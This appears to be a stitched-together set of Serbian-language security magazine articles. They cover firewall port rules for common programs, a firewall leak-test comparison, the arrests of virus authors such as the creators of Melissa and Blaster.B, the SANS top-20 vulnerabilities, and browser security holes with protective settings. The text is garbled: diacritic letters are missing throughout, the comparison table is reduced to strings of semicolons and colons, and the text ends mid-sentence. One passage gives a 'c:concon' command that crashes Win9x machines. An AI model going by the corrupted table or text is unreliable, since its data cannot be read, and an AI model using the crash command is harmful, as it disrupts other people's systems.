Ukoliko ita podrava IMAP (Internet
Message Access Protocol). Po potrebi
omoguiti.
Protocol: TCP
Direction: Outbound
Remote Port(s): 3128,
8080, 8088
Action: Allow It
Ukoliko je browser podeen
da koristi proxy. Ovo su tri
najee koriena
proksija, mada moete
dodati i druge u zavisnosti
koji port va provajder
koristi.
Protocol: UDP
Direction: Inbound
Remote Port(s): 1040-1050
Action: Allow It
Ove dve polise su za korisnike koji pristupaju Web
Folderima u mrei
Protocol: TCP
Direction: Outbound
Remote Port(s): NNTP (119)
Action: Allow It
itanje news grupa. Koristi NNTP
(Network News Transfer Protocol)
Protocol: TCP
Direction: Outbound
Remote Port(s): HTTP (80), 8183, HTTPS (443), SOCKS (1080),
3128, 8080, 8088, 11523
Action: Allow It
Za klijente koji itaj e potu u HTML
obliku, ili kada kupite potu sa web
naloga tipa Hotmail i slino.
Protocol: TCP
Direction: Outbound
Remote Port(s): POP3 (110)
Action: Allow It
Prijem pote putem POP3 (Post Office
Protocol v3) kada primate potu sa
provajdera.
System:
Allow DNS Resolving
Protocol: UDP
Remote Port(s): DNS (53)
Action: Allow It
Allow Loopback
Protocol: TCP
Remote Host: localhost
(127.0.0.1)
Action: Allow It
Block Remote Procedure Call
(TCP)
Protocol: TCP
Direction: Inbound
Local Port(s): DCOM(135)
Action: Reject It
Block Server Message Block
Protocol (UDP)
Protocol: UDP
Direction: Inbound
Local Port(s): Microsoft DS (445)
Action: Reject It
Antivirus updaters:
Protocol: TCP
Direction: Outbound
Remote Port(s): HTTP (80), 8183, HTTPS (443), SOCKS (1080),
3128, 8080, 8088, 11523
Action: Allow It
Symantec LiveUpdate HTTP
KAV Updater HTTP connection
McAfee Update
Update NOD32 virus definitions
Protocol: TCP
Direction: Outbound
Remote Port(s): POP3 (110)
Action: Allow It
Scan incoming mail for viruses
Recimo Nod32 koristi ovaj port
Protocol: TCP
Direction: Outbound
Remote Port(s): FTP (21)
Action: Allow It
Symantec LiveUpdate FTP
KAV Updater FTP connection
Protocol: TCP
Direction: Inbound
Remote Port(s): FTP DATA (20)
Action: Allow It
Symantec LiveUpdate FTP DATA
KAV Updater FTP DATA connection
Comunication:
Protocol: TCP
Direction: Outbound
Remote Port(s): 1024-65535
Action: Allow It
Protocol: TCP
Direction: Inbound
Remote Port(s): 1024-65535
Action: Allow It
ICQ Client Connection
Protocol: TCP
Direction: Outbound
Remote Port(s): POP3 (110)
Action: Allow It
ICQ Receive Mail
Protocol: TCP
Direction: Inbound
Local Port(s): 113
Action: Allow It
mIRC AUTH connection
Microsoft Chat AUTH connection
Protocol: TCP
Direction: Outbound
Remote Port(s): 5000, 5001
Action: Allow It
Yahoo! Messenger Conference TCP
connection
Protocol: UDP
Direction: Outbound
Remote Port(s): 4000
Action: Allow It
Protocol: UDP
Direction: Inbound
Remote Port(s): 4000
Action: Allow It
ICQ Server connection
Protocol: TCP
Direction: Outbound
Remote Port(s): HTTP (80), 8183, HTTPS (443), SOCKS (1080),
3128, 8080, 8088, 11523
Action: Allow It
ICQ HTTP connection
Microsoft NetMeeting HTTP
connection
Yahoo! Messenger HTTP connection
Yahoo! Messenger AutoUpdater
Protocol: TCP
Direction: Outbound
Remote Port(s): 1863
Action: Allow It
Default MSN Messenger Connection
Protocol: UDP
Direction: Outbound
Local Port: 5000
Action: Allow It
Yahoo! Messenger Conference UDP
connection
Protocol: TCP
Direction: Outbound
Remote Port(s): 7800-7825
Action: Allow It
Yahoo! Messenger Call Center (TCP)
Protocol: TCP
Direction: Outbound
Remote Port(s): 5100
Action: Allow It
Yahoo! Messenger WebCam
Protocol: TCP
Local Port: 6891-6900
Action: Allow It
MSN Messenger file transfer
Protocol: TCP
Direction: Outbound
Remote Port(s): 3389
Action: Allow It
MSN Messenger Remote Assistance
Protocol: TCP
Direction: Outbound
Remote Port(s): 5100
Action: Allow It
MSN Messenger RTP connection
Protocol: TCP
Direction: Outbound
Remote Port(s): SMTP (25)
Action: Allow It
ICQ Send Mail
Yahoo! Messenger Send Mail
Protocol: TCP
Direction: Outbound
Remote Port(s): 6660-6670
mIRC connection
Protocol: TCP
Direction: Outbound
Remote Port(s): 23, 5050
Action: Allow It
Yahoo! Messenger Login
Protocol: UDP
Direction: Outbound
Remote Port(s): 6801
Action: Allow It
Protocol: UDP
Direction: Inbound
Local Port(s): 5000, 5055
Action: Allow It
Yahoo! Messenger Call Center
Protocol: UDP
Direction: Outbound
Remote Port(s): 6501
Action: Allow It
MSN Messenger voice
communications
Protocol: TCP
Direction: Outbound
Remote Port(s): 7800-7825
Action: Allow It
MSN Messenger Application Sharing
and Whiteboard
Downloaders:
Protocol: TCP
Direction: Outbound
Remote Port(s): 80(HTTP), 8183,
443(HTTPS), 1080(SOCKS),
3128,
8080, 8088, 11523
Action: Allow It
FlashGet, GerRight, Go!Zilla, ReGet
Protocol: TCP
Direction: Outbound
Remote Port(s): 1024-65535
Action: Allow It
ReGet PASV FTP connection
Protocol: TCP
Direction: Outbound
Remote Port(s): FTP (21)
Action: Allow It
FlashGet, GerRight, Go!Zilla, ReGet
Protocol: TCP
Direction: Inbound
Remote Port(s): FTP DATA (20)
Action: Allow It
FlashGet, GerRight, Go!Zilla, ReGet
Protocol: TCP
Direction: Inbound
Remote Port(s): 1024-65535
Action: Allow It
ReGet PASV FTP connection
Protocol: TCP
Direction: Outbound
Remote Port(s): 80, 3128, 8080,
1080, 11523
Action: Allow It
ReGet Update
Leak test
Fire hole
Ghost
PC Audit
Tool Leaky
Thermite
Wall breaker
CopyCat
Yalta
AIWT
Stateful inspection
Server familija
Cena
Score
Kerio
Outpost
Tiny
;
:
;
;
;
:
;;;
:
;
2/10
:
:
$45
10/22
;
:
:
:
;
:
:::
:
:
5/10
;
;
$39.95
8/22
;
:
;
;
;
:
:;;
:
:
1/10
;
:
$49
8/22
Look n
Stop
;
;
:
;
;
:
:;:
:
;
2/10
;
;
$39
9/22
ZA Pro
Visnetic
McAfee PF
McAfee DF
Kaspersky
BlackICE
;
:
:
:
:
:
:::
:
:
0/10
;
:
$49.95
2/22
:
:
:
:
:
:
:::
:
:
0/10
;
;
$49.95
1/22
;
:
:
:
:
:
:::
:
:
1/10
;
:
$39.99
3/22
;
:
:
;
:
:
:::
:
:
1/10
;
;
;
:
:
;
:
:
:::
:
;
1/10
:
:
$39.00
4/22
:
:
:
:
:
:
:::
:
:
0/10
;
;
$39.95
1/22
4/22
;
:
:
;
:
:
:::
:
:
0/10
:
:
2/22
;
:
:
:
:
:
:::
:
:
0/10
:
:
$39.95
1/22
;
:
:
:
:
:
:::
:
:
0/10
;
;
$39.95
2/22
Tweaked settings
Outpost
Leak test
Fire hole
Ghost
PC Audit
Tool Leaky
Thermite
Wall breaker
CopyCat
Yalta
AIWT
Stateful inspection
Server familija
Cena
Score
;
:
;
;
;
:
;:;
:
:
10/10
;
;
$39.95
17/22
Look n
Stop
;
;
:
;
;
;
:;:
:
;
10/10
;
;
$39
18/22
ZA Pro
McAfee DF
Sygate
Norton IS
;
;
;
;
;
:
:;:
:
;
10/10
;
:
$49.95
18/22
;
;
:
;
:
;
::;
:
:
10/10
;
;
;
;
:
;
;
:
:;:
:
:
3/10
;
;
$39.95
9/22
;
;
;
;
;
:
;;;
:
:
4/10
;
;
$39.95
13/22
16/22
Bit
Defender
;
:
:
:
:
:
:::
:
:
0/10
:
:
$39.95
1/22
Trend
Micro
:
:
:
:
:
:
:::
:
:
0/10
;
:
$39.95
1/22
Zakljuak
ta je ovaj test u stvari pokazao? Pa iskreno reeno - nita! Sve je ovo testirano u strogo kontrolisanom okruenju i
manje vie svi programi za test su programirani tako da od remote sajta trae zahtev na port 80 (HTTP) koji je
standardni port za web browsing. Sa druge strane to se samih firewallova tie, veoma lako se da zakljuiti da ni jedan
od testiranih nije savren i da ni jedan nije proao apsolutno sve testove. Naina da neto procuri van vaeg znanja ima
neverovatno mnogo i iako su se svi trudili da to izbegnu, negde su rupe pokrili a negde nisu. Drugi i veoma znaajan
faktor jeste sam operativni sistem koji, morate se sloiti, je daleko od ispeglanog. Njegove rupe u mnogome doprinose
curenju informacija na sve strane. Ono to je injenica jeste da se proizvoai "vatrenih zidova" nikako nesmeju oslanjati
na stateful inspection, jer teko da e on moi da kontrolie celokupan sadraj paketa a da neka privatna informacija ne
procuri. Ono to je moda umirujua injenica jeste to da svi firewallovi prolaze osnovne online testove. Opet, svi ti
testovi su uglavnom uraeni od strane proizvoaa tako da je teko oekivati da proizvoa napravi test koji njegov
firewall nee moi da proe. Ono to definitivno morate promeniti kada je bilo koji firewall u pitanju jesu "out of the box"
podeavanja! Nikada ne upotrebljavajte firewall sa ovim podeavanjima (pogledajte ZA primera radi).
Ono to bi bilo neko injenino stanje i neke injenice primenjive za gore testirane firewalle jeste sledee:
1. "All-in-one" reenja jednostavno ne mogu da se porede sa Stand alone programima za filtriranje.
2. "Out of the box" podeavanja u veini sluajeva nisu dovoljna za pravu zatitu
3. Ograniavanje samo na Stateful inspection po mom skromnom miljenju nije dovoljno
4. DLL Injection, code2thread injection detekcija nije potpuna ni kod jednog testiranog proizvoda
Bilo kako bilo, vi ete se odluiti za neki od pomenutih, ili za neki od nepomenutih i u svakom sluaju ne bi trebalo da
gledate na ovaj test kao na referentan, obzirom da ja nisam ne znam kakav raunarski guru. Gledajte na njega kako na
neko lagano(?) tivo za laku no ;)
DRAGAN MARKOVIC
Tokom avgusta ove godine, korisnike raunara irom sveta zapljusnula je prava poplava
raunarskih virusa. Antivirusne kompanije su redovno izvetavale o pojavama novih virusa ili novim
varijantama starih, i objavljivale preporuke o nainu zatite, a korisnicima je preostajalo da auriraju
antivirusni softver na raunarima i da se nadaju da e ih zaraza zaobici
Vie virusa kruilo je Internetom u avgustu, poev od Blastera (poznatog i
kao LoveSAN) koji se irio velikom brzinom, prko Kleza, do virusa SoBig,
najzastupljenijeg crva na mesenim top-listama tetoina mnogih antivirusnih kompanija. Nekoliko autora varijanti Blastera je uhapeno, ali autor
glavne verzije jo nije otkriven - pisci nekih drugih virusa nisu bili te sree.
PROBUENA GRIA SAVESTI
Autore virusa mnogi opisuju kao raunarske genijalce, ali s negativnim
usmerenjem. Zaista, detaljno poznavanje raunara, ali i mnogo negativnog
naboja, potrebno je da bi se stvorio zlonamerni raunarski program i pustio
da krui Internetomi i inficira i oteuje raunare. Istovremeno, mora se
priznati da su mnogi korisnici delimino i sami krivi za probleme s virusima,
zbog sopstvene neodgovornosti.
Neki autori virusa, izgleda, oseaju griu savesti zbog tete koju su naneli,
pa su postali revnosni pomonici istraitelja.
MELISSA
Aprila 1999. godine, ameriki Savezni istrani biro (FBI) uhapsio je Dejvida L.
Smita zbog sumnje da je stvorio virus Melissa i proirio ga Internetom preko
mree America Online. Smit je u poetku odbacivao sve optube, ali je na
kraju ipak priznao krivicu. Melissa je makro-virus koji inficira Wordove dokumente i automatski se prenosi na prvih 50 adresa u adresaru napadnutog
raunara. Iako on nije pravio nikakvu tetu, svaki raunar je odailjao 50
novih poruka i izazivao lananu reakciju koja je pretrpavala servere elektronske pote.
Iako je Smit na sudu izjavio da nije oekivao da e Melissa napraviti toliko
problema, na suenju se ulo da je oko milion i dvesta hiljada raunara u
SAD bilo pogoeno virusom, a naneta teta je procenjena na osamdeset
miliona dolara. Melissa je bacila na kolena i sistem elektronske pote NATO
taba u Briselu. Zanimljivo je da je virus dobio ime po toples igraici s
Floride, Smitovoj poznanici. Mada je za ovo delo bila predviena kazna
zatvora od pet godina, Smit je osuen na 20 meseci i naknadu od pet hiljada
dolara.
DRAGAN MARKOVIC
Kazna izreena Smitu bila je deo nagodbe. On je uskoro poeo da pomae agentima da pronau i
dovedu pred sud druge tvorce virusa. Lano se predstavljajui, Smit je komunicirao sa autorima
virusa irom sveta, tako da je istraiteljima otkrio, na primer, ime, kunu adresu i adresu elektronske
pote mladog Holananina Jana de Vita (u hakerskim krugovima poznatijeg kao OnTheFly), autora
virusa "Ana Kurnjikova". FBI je informacije prosledio holandskoj policiji koja je uhapsila De Vita, a
on je kasnije osuen na 150 sati drutvenog rada.
DOLIJAO I VELANIN
Smit je, 2001. godine, pomogao istraiteljima FBI-ja da otkriju Velanina Simona Valora, autora
virusa Gokar, Admirer i Redesi. Nakon to su primili poruke s pomenutim virusima i analizirali ih u
svom centru u Baltimoru, agenti su dojavili istraiteljima Skotland jarda ko bi mogao biti njihov
autor. Policajci su doprli do Valora pomou naloga za pristup Internetu otvorenog kod kompanije
British Telecommunications (BT), registrovanog na njegovu kunu adresu.
Valor je optuen na osnovu lana 3 britanskog Zakona o zloupotrebi raunara (Computer Misuse
Act) iz 1990. Valorovi virusi su otkriveni u 42 zemlje i zarazili su 27.000 raunara. Oni su se irili po
Internetu tako to su koristili adrese iz adresara programa Outlook. Po miljenju strunjaka za
raunarsku bezbednost, Redesi je bio najdestruktivniji, a Gokar najraireniji.
Virus Redesi se pojavio nakon teroristikog napada na Svetski trgovaki centar u Njujorku. Primaocima je stizao preruen u Microsoftovu zakrpu koja titi raunar od virusa, a 11. novembra bi formatirao vrsti disk na zaraenom raunaru. Gokar je bio manje destruktivan; pokuavao je da pie preko
postojeeg sadraja matine strane Web lokacije, ako je napadnuti raunar bio Web server. Krajem
2001. i poetkom 2002. godine, Gokar se nalazio meu prvih deset na top-listi najrairenijih virusa
kompanije Sophos. Admirer se irio kao estitka za Dan zaljubljenih.
U januaru 2003. godine, posle suenja u Londonu, Valor je osuen na dve godine zatvora.
Neki strunjaci za raunarsku bezbednost ocenjuju da su Jan de Vit i Valor bili vrlo nesmotreni i da
su sami pomogli istraiteljima da ih lako pronau. Virus "Ana Kurnjikova", na primer, sadrao je re
OnTheFly, to je ime De Vitove Web lokacije, na kojoj su bile fotografije ruske teniserke.
"Nije trebalo biti erlok Holms da bi se otkrio autor virusa", kae Grejam Kluli, stariji tehniki savetnik u antivirusnoj kompaniji Sophos. Valor je u kod virusa ugradio poruke za prijatelje i hvalisao se
na Mrei svojim dostignuima.
"NISAM VEZANA VREA"
Strunjaci za raunarsku bezbednost sa sumnjom prihvataju samouverene tvrdnje rukovodilaca
FBI-a da e uhvatiti sve odgovorne za epidemiju virusa iz avgusta 2003. godine. Odajui priznanje
istraiteljima za brzo hapenje Defrija Li Parsona, autora varijante Blaster.B, antivirusni specijalisti
smatraju da e hapenje pisaca drugih verzija Blastera ili virusa Sobig.F biti mnogo tee. Po njihovom miljenju, postoji sutinska razlika izmeu amatera kao to je Parson (koji se uz to hvalisao
naokolo) i neznanih pisaca virusa koji briljivo skrivaju svoje elektronske tragove.
Osamnaestogodinji Defri Li Parson iz Hopkinsa u Minesoti uhapen je poetkom septembra pod
optubom da je izmenio originalni virus, stvorivi jo opasniju varijantu Blaster.B. Mladia je sud u
DRAGAN MARKOVIC
Sen Polu, uz kauciju od 25.000 dolara, pustio na slobodu, ali ga je obavezao da do rasprave pred
sudom obavetava nadlene o svom kretanju. Isto tako, naloeno mu je da nosi elektronski ureaj
za praenje i zabranjena mu je upotreba raunara ili bilo kog ureaja koji se moe povezati s Internetom. Kretanje mu je ogranieno na boravak u kui, iz koje sme da izlazi samo kada ide u kolu,
kod lekara ili u sud. Svi raunari iz njegove kue su zaplenjeni.
ta je uradio momak kome su nametnute ovako stroge mere? Parson je napravio datoteku s virusom, nazvao je "teekid" i programirao virus da se povee s Web lokacijom http://www.t33kid.com/
registrovanom na njegovo ime i na njegovu adresu u Hopkinsu. Osim toga, promenio je neke
parametre u izvornoj verziji virusa i dodao naredbe kojima bi virus na napadnutim raunarima
instalirao trojanca. Agenti koji su istraivali sluaj ispitali su na stotine sumnjivih osoba. Iako
priznaje da je Parson ostavio za sobom mnogo tragova, dravni tuilac SAD Don Makej kae da je
hapenje znaajan uspeh istraitelja i da istovremeno alje snanu poruku hakerima.
Da li je Parson bio ba tako opasan po korisnike Interneta? Odgovor se moda moe naslutiti iz
intervjua koji je on dao stanici NBC odmah nakon izlaska iz zatvora, u kom se branio tvrdnjom da su
ga mediji pogreno okarakterisali kao nesmotrenog usamljenika. "Kada su agenti prvi put razgovarali sa mnom, nisam ni bio svestan da me sumnjie za kriminalno delo. Isto tako, nisam ni sanjao
da u biti uhapen i optuen", izjavio je Parson.
Parson se poalio i na sliku koja je o njemu stvorena u medijima. "Nisam nesmotreni usamljenik, ne
puim, ne pijem, ne drogiram se, niti sam optereen svojom teinom. Ni oni koji me opisuju kao
vezanu vreu nisu u pravu. Novinari su razgovarali s pogrenim osobama, koje mi nisu bliske, i
otuda takva slika o meni u javnosti", pravdao se on.
Sujeta nije jedino to odaje identitet tvoraca virusa - esto se radi o najobinijoj gluposti. Primer za
to je sluaj Majkla Buena, koji je u kod virusa ukljuio svoju biografiju.
PRAVDA JE ZAISTA SLEPA
Neki tvorci virusa su uhapeni i izvedeni pred lice pravde. Pojedini su dobili zasluenu kaznu za
glavobolje koje su izazvali, ali su drugi uspeli da se izvuku.
Robert Moris, diplomac univerziteta Kornel, novembra 1988. godine je napisao prvog Internet crva
koji je iskoriavao propust u programu Sendmail. Moris je, inae, sin strunjaka za bezbednost
amerike Agencije za nacionalnu bezbednost, a zbog zloupotrebe raunara uslovno je osuen na tri
godine zatvora i 400 sati drutveno korisnog rada.
Novembra 1995. godine, Kristofer Pajl (poznatiji kao Crni baron) optuen je za jedanaest kriminalnih
dela na osnovu nekoliko lanova britanskog Zakona o zloupotrebi raunara. Nakon to je priznao
sve navode optunice, Pajl je osuen na kaznu zatvora od osamnaest meseci.
Tajvanski student en Ing-Hau napisao je 1998. godine virus CIH, poznatiji kao ernobilj,
negodujui na taj nain protiv antivirusnih kompanija. CIH je trebalo da se aktivira 26. aprila, na
godinjicu incidenta u ukrajinskoj nuklearnoj centrali, i da obrie sve datoteke na inficiranim
diskovima. en je uhapen, ali je osloboen zato to nijedna tajvanska kompanija nije elela da
prizna da joj je virus naneo tetu. Virus ernobilj je 1999. godine pogodio skoro 300.000 raunara
irom sveta.
Filipinski student raunarstva Onel de Guzman stvorio je 2000. godine Ljubavnu bubu (LoveBug).
Virus se Internetom proirio poput poara i prouzrokovao tetu procenjenu na deset milijardi dolara,
DRAGAN MARKOVIC
uglavnom zbog smanjene produktivnosti, jer je oborio servere za e-potu irom sveta. De Guzman
je uhapen na osnovu zakona koji se odnosi na krau lozinki za korienje tuih kreditnih kartica,
ali budui da Filipini nisu imali odgovarajue zakone o raunarskom kriminalu, on je puten iz pritvora i protiv njega nije podignuta optunica.
Guzman je nekoliko meseci kasnije dao intervju asopisu Chicago Tribune u kome je, osim hvalisanja, odbio optube da je pustio virus na Internet. Terminator (mreni nadimak Guzmana) ispriao
je da je Ljubavna buba nastala tokom rata lokalnih hakerskih grupa. U lanku se navode i rei
Natanijela Kvazaja (poznatijeg kao Wizard), studenta fakulteta na kome je i De Guzman studirao:
"Hakeri piu viruse da bi slomili protivnika. To je ratna igra. To je zabavno i bolje je od seksa."
Jan de Vit (OnTheFly) napisao je virus "Ana Kurnjikova" 2001. godine koristei komplet za pravljenje
crva, softver koji omoguava da se crv napravi jednostavnim prevlaenjem miem. okiran onim to
je uinio (uz malu pomo Dejvida Smita), De Vit se predao policiji i priznao krivicu. Objasnio je da je
virus napisao kao eksperiment, nakon to je proitao tekst o Ljubavnoj bubi. Na suenju, odranom
u septembru 2001, tuilac ga je teretio za 55 sluajeva inficiranja raunara koji su naneli tetu od
166.827 dolara. Mladi Holananin je osuen na 150 sati drutveno korisnog rada, mada su mnogi
analitiari tvrdili da su broj incidenata i naneta teta neuporedivo vei, a kazna previe blaga.
TA SE KRIJE U IMENU?
Jo od prvog raunarskog virusa Brain (Mozak), napisanog sada daleke 1986. godine, antivirusni
strunjaci muku mue s imenovanjem virusa. Sedamnaest godina i 65.000 virusa kasnije, njihovi
problemi su neuporedivo vei.
"ta znai ovo ime?" Ovo pitanje neprestano postavljaju strunjaci za viruse na redovnim konferencijama o raunarskoj bezbednosti. Oni se ne slau u pogledu toga da li utrkivanje meu antivirusnim
kompanijama koja e imenovati novi virus moe da unese zabunu meu korisnike raunara,
posebno kada se zna da virusi esto imaju i vie imena.
Na konferenciji odranoj u Torontu krajem septembra ove godine, Dejvid Peri, rukovodilac obrazovnog odeljenja kompanije Trend Micro, istakao je imenovanje virusa kao veoma vaan problem.
Peri tvrdi da IT strunjaci u velikim kompanijama esto imaju velike tekoe zbog toga to se imena
koja antivirusne kompanije daju virusima i njihova popularna, "narodska" imena esto razlikuju.
"Pravila na osnovu kojih se dodeljuju imena virusima razumljiva su strunjacima, ali veina zaposlenih u kompanijama prednost daje imenima kao to su I love you ili Melissa, umesto
VBS.LoveLetter.A ili W97.Melissa.A", kae Peri. IT strunjaci gube dragoceno vreme pokuavajui
da poveu ova imena.
Uesnici skupa podsetili su i na poluzvanino uputstvo o imenovanju virusa, koje je 1991. godine
objavila Organizacija za kompjuterska antivirusna istraivanja (Computer Antivirus Research Organization, CARO). Uputstvo je povremeno urirano, a sadri pravila o imenima koja mogu biti data
virusima, nainu na koji se odreuju atributi virusa, na primer njegov tip (makrovirus, trojanac itd.),
platformi koju napada, vrsti opasnosti i sl. Na konferenciji se ulo da sistem koji je CARO ustanovio
postoji i danas, te da antivirusne kompanije treba da imaju na umu tu injenicu pre nego to se
odlue da promene ime virusa.
Zastupnici drugaijeg gledita, meutim, ukazivali su na probleme koji nastaju strogim
pridravanjem procedure imenovanja virusa koju propisuje CARO. Po njihovom miljenju, identifikovanje i opisivanje virusa je subjektivno, a savremeni polimorfni virusi esto imaju vie atributa,
DRAGAN MARKOVIC
DRAGAN MARKOVIC
Britaniji i institutom SANS, objavio je top-listu dvadeset najveih bezbednosnih opasnosti koje
hakeri najee zloupotrebljavaju.
Top-lista je rezultat meunarodnog konsenzusa. Prvi put su usaglaeni stavovi o kritinim propustima koji moraju biti otklonjeni da bi se ostvarila minimalna bezbednost u korienju Interneta.
Strunjacima iz SAD, Kanade i Velike Britanije dragocenu pomo u sastavljanju liste pruili su
eksperti iz Singapura, Brazila i drugih zemalja, kao i vodei proizvoai programa za testiranje propusta.
Institut SANS je prvu top-listu bezbednosnih opasnosti objavio jo pre tri godine, zajedno sa
amerikim Nacionalnim centrom za zatitu infrastrukture. Sadanji spisak je u stvari kombinacija
dve liste: deset najveih opasnosti po bezbednost u Windowsu i deset najveih bezbednosnih opasnosti u Unixu i Linuxu.
Na spisku najveih opasnosti u Windowsu nalaze se:
- Internet Information Server (IIS)
- Microsoft SQL Server (MSQL)
- Provera identiteta u Windowsu
- Internet Explorer (IE)
- Usluge daljinskog pristupa
- Microsoft Data Access Components (MDAC)
- Windows Scripting Host (WSH)
- Microsoft Outlook i Outlook Express
- Razmena datoteka u mreama ravnopravnih raunara (P2P)
- Protokol SNMP
Na popisu najveih opasnosti u Unixu nalaze se :
- Servis BIND
- Daljinsko pozivanje procedura (RPC)
- Web server Apache
- Nalozi bez lozinki ili s lozinkama
koje se lako pogaaju
- Tekstualne mrene usluge
- Sendmail
- Protokol SNMP
- Secure Shell (SSH)
- Neispravna konfiguracija usluga
- Biblioteka OpenSSL
DRAGAN MARKOVIC
lokaciji mozete naci sve zakrpe za vas Netscape. Za zakrpe za Communicator izaberite meni Help/Software Updates.
http://bugnet.com Ovo je centar za sve bugove.
OSTALO
Dok surfujemo...
Internet moe biti sjajno mesto za zabavu, moe vam posluiti kao neiscrpna baza podataka ili vam jednostavno moe
koristiti u poslovne svrhe. Sufrovanje, downloadovanje, email, Chat... sve je to veoma lepo zamiljeno i uklopljeno u
jednu celinu - Internet.
Ali (uvek ima neko "ali"), svaki od gore navedenih servisa ima po koju greku koju zlonamernici mogu iskoristiti i
povrediti vau privatnost.
O emu se zapravo radi?
Kada se pie neki novi revolucionarni program za Internet, uglavnom se gleda da se to pre zavri izrada programa da
ih neko drugi ne bi pretekao i izbacio prvi program koji e biti veoma popularan. U toj urbi niko ne vodi rauna o
bezbednosti programa i tako dobijamo browsere i chat programe koji su puni bezbednosnih rupa.
ta su bezbednosne rupe
Da bi vam to bolje objasnio pojam *bezbednosnih rupa* uzeu jedan primer:
Netscape je najavio 5. verziju svog browsera! Microsoft je uzrujan jer bi hteo da on bude prvi i zato ubrzava izradu
"Internet Explorera 5". Microsoftovi programeri posle danononog programiranja uspevaju da izbace prvi browser i
milioni korisnika prelaze na IE 5. Stvar je zavrena, milioni korisnika surfuju internetom browserom koji ima nekoliko
greaka koje su se programerima provukle. Mesec dana posle toga se otkriva da je programer koji je bio zaduen za
ActiveX (ne)namerno zaboravio da isprogramira browser tako da ne startuje odmah ActiveX skriptove, a programer
koji je bio zaduen za Outlook Express nije predvideo da neko moe umesto MIDI fajla poslati virus koji e se, iz samo
njemu poznatom razlogu, sam startovati!
ta smo dobili?
Dobili smo browser pomou koga nam hakeri mogu naneti veliku tetu.
Izneu jedan propust koji je napravljen u samom srcu Win9x operativnih sistema. Kliknite na Start pa na Run i otkucajte *c:concon* (bez navodnika). Pojavie se prvo plavi ekran sa porukom o greci a posle nekoliko sekundi ete moi
samo RESET da pritisnete.
Na alost, ovaj propust se moe iskoristiti na vie naina tako da i jedan obian email ili sajt moe oboriti va sistem
zahvaljujui ovom propustu.
U sledeih nekoliko brojeva u napraviti pregled bezbednosnih rupa nekoliko popularnih programa i naravno napisau
kako se od toga moete zatititii (ukoliko je to mogue).
Za ovaj broj asopisa sam spremio opis bezbednosnih rupa dva najpopularnija browsera - Internet Explorer i Netscape
Communicator.
ta se moe desiti dok surfujem i itam email
"Slaba taka" skoro svakog browsera je uglavom Java/ActiveX skript. To su posebni jezici (kao recimo HTML) koji
su veoma sloeni i omoguavaju ono to obian HTML ne moe. Na primer, zahvaljujui tim jezicima, koji su inae
projektovani za browsere, mi danas moemo napraviti web stranu u kojoj e biti ugraen chat, neka igra ili neki mali
program.
Drugi programski jezici (basic, pascal, c++ ...) nisu ogranieni u radu sa fajlovima, dok su Java i ActiveX skript
namerno uskraeni toga da bi korisnici bili bezbedniji. Kada ne bi bili uskraeni, danas bi na Internetu bio haos jer bi
naizgled obian sajt mogao da nam formatira disk.
Sve bi to bilo lepo da programeri ne gree. Kada kaem greka ne mislim na standardne greke u kucanju ve na
nedostatak nekog dela u programu koji se ne napie uopte jer programer ne predvidi sve situacije u kojim se moe nai
njegov program. To se jo i zove "propust".
Hakeri su oni koji otkrivaju takve propuste. Neki propusti mogu biti ozbiljni, i obino se takvi propusti iskoriavaju u
nehumane svrhe.
Propusti kod ActiveX skriptova su najgori jer omoguuju hakerima da bukvalno startuju neki njihov program (obino
DRAGAN MARKOVIC
je to virus) dok surfujete po njihovom sajtu. Taj program vam moe napraviti veliku tetu, moe vam unititi podatke
na disku ili ak poslati sve vae ifre lameru - dakle potpuna kontrola nad vaim raunarom.
Pored Java/ActiveX problema browseri imaju i druge propuste. Ako sa IE ponete da downloadujete jedan specijan fajl
(neu namerno rei gde ima da se downloaduje taj fajl zbog mogue zloupotrebe), taj fajl se nee smestiti u direktorijumu koji ste izabrali ve e se iskopirati pravo u c:windowswin.com to znai da e va Windows biti mrtav.
Trenutno najranjiviji browser je IE 5 i on omoguava hakerima da ugroze vau privatnost na vie od 30 naina. Najvie
propusta je napravljeno kod ActiveX skripta tako da ako mnogo surfujete po zabaenim sajtovima (home page, XXX
sajtovi i hakerski sajtovi) veoma je velika verovatnoa da ete se zaraziti nekim virusom ili trojancem.
Kako se zatititi od ovoga?
Zatita od "zlobnih sajtova" uopte nije laka i nije potpuna. Ono to obini korisnici mogu uiniti je da iskljue
uitavanje Java i ActiveX skriptova.
Ako koristite Internet Explorer u menijima naite "Internet Options" i kliknite na jeziak "Security". Moete izabrati
stepen zatite (preporuujem High) a ako ni time niste zadovoljni onda izaberite "Custom" pa zatim kliknite na "Settings" i iskljuite Java i ActiveX skriptove. Da bi ste skinuli najnovije zakrpe koji e va browser uiniti bezbednijim,
kliknite na meni "Help" i izaberite "Product Updates"!
to se Netscape-a tie, u meniju "Edit" izaberite "Preferences" i kliknite na na Advanced. Biete u mogunosti da
iskljuite uitavanje skriptova to e vam omoguiti dobru zatitu. Kao i kod Internet Explorera, Netscape u meniju
"Help" ima opciju "Software Update" tako da uvek moete preuzeti najnovije ispravke.
Nama kojima ovakva zatita nije dovoljna ostaje da se nadamo da e budui browseri biti potpuno bezbedni i da se nee
ostvariti predvianje po kojem e budui programi imati mnogo vie greaka jer e biti vei i komplikovaniji...
Mejl bombe
Prvo to vas moe snai ako se zameraite sa nekim lamerom je da vas lamer bombarduje emailovima.
Evo o emu se radi: postoje lamerski programi koji alju nekoliko hiljada obinih poruka na zadati email. Kada vam
lamer poalje oko 5 000 poruka, vama e trebati oko 3-4 sata da ih skinete, ako ne znate da se zatitite od toga.
Lek je jednostavan: klikom na ovaj link moete skinuti program koji se zove Magic Mail Monitor, veliki je samo 59kB
i veoma je lak za korienje. Omoguie vam da vidite listu svih emailova (sa podacima: veliina, subject, autor
pisma), da proitate samo izabrane emailove i omoguie vam da za relativno kratko vreme obriete na hiljade poruka
koje ste oznaili za brisanje. Podeavanje ovog programa je veoma jednostavno, samo treba uneti adresu POP3 servera,
va username i ifru za email. Kada Magic Mail Monitor skine listu emailova, *mail bombe* ete prepoznati tako to
ti emailovi uvek imaju isti subject i istu sadrinu, tako da ih je vrlo lako selektovati i obrisati.
Mail bombardovanje je veoma primitivna tehnika, pa se gotovo vie i ne koristi. Skoro svi provajderi imaju zatitu od
mail bombi (server odmah zaustavi mailove ako primeti da dolaze samo jedni isti) a i krajnja zatita je jednostavna za manje od 5 minuta ete ih obrisati, dok e lamer potroiti sate i sate da bi vam poslao par hiljada poruka.
NetBios
Da li ste znali da hakeri mogu proitati ceo sadraj vaeg diska bez ijednog trojanca i virusa? Izgleda da se Bill Gates
